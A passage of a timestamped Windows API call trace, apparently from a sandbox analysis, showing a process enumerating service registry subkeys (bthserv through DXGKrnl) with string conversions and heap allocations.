(HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.291] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.292] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.292] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.292] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3a, lpName=0x1c829e0, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0029.292] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.292] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0029.292] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.292] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.292] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.292] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.292] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3b, lpName=0x1c829e0, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0029.292] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.292] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x1c946d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0029.292] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.292] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.292] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.292] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.292] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3c, lpName=0x1c829e0, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0029.292] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.292] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0029.292] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.292] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.292] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.292] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.292] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3d, lpName=0x1c829e0, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0029.292] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.293] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1c946d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0029.293] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3e, lpName=0x1c829e0, cchName=0x104 | out: lpName="circlass") returned 0x0 [0029.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0029.293] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3f, lpName=0x1c829e0, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0029.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x1c946d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0029.293] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x40, lpName=0x1c829e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0029.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0029.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x1c94450, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0029.293] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x41, lpName=0x1c829e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0029.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0029.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x1c946d8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0029.293] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x42, lpName=0x1c829e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0029.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0029.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x1c94450, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0029.293] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x43, lpName=0x1c829e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0029.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0029.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x1c946d8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0029.294] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x44, lpName=0x1c829e0, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0029.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0029.294] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x45, lpName=0x1c829e0, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0029.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0029.294] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x46, lpName=0x1c829e0, cchName=0x104 | out: lpName="CNG") returned 0x0 [0029.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0029.294] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x47, lpName=0x1c829e0, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0029.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0029.294] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x48, lpName=0x1c829e0, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0029.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x1c94450, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0029.295] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x49, lpName=0x1c829e0, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x1c946d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0029.295] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4a, lpName=0x1c829e0, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0029.295] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4b, lpName=0x1c829e0, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0029.295] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4c, lpName=0x1c829e0, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0029.295] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4d, lpName=0x1c829e0, cchName=0x104 | out: lpName="CSC") returned 0x0 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x1c946d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0029.295] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4e, lpName=0x1c829e0, cchName=0x104 | out: lpName="CscService") returned 0x0 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x1c94450, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0029.295] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4f, lpName=0x1c829e0, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0029.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x1c946d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0029.296] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x50, lpName=0x1c829e0, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x1c94450, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0029.296] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x51, lpName=0x1c829e0, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x1c946d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0029.296] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x52, lpName=0x1c829e0, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0029.296] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x53, lpName=0x1c829e0, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x1c946d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0029.296] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x54, lpName=0x1c829e0, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x1c94450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0029.296] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x55, lpName=0x1c829e0, cchName=0x104 | out: lpName="discache") returned 0x0 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0029.296] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x56, lpName=0x1c829e0, cchName=0x104 | out: lpName="Disk") returned 0x0 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0029.296] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x57, lpName=0x1c829e0, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x1c946d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0029.297] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x58, lpName=0x1c829e0, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0029.297] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x59, lpName=0x1c829e0, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0029.297] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5a, lpName=0x1c829e0, cchName=0x104 | out: lpName="DPS") returned 0x0 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0029.297] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5b, lpName=0x1c829e0, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0029.297] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5c, lpName=0x1c829e0, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 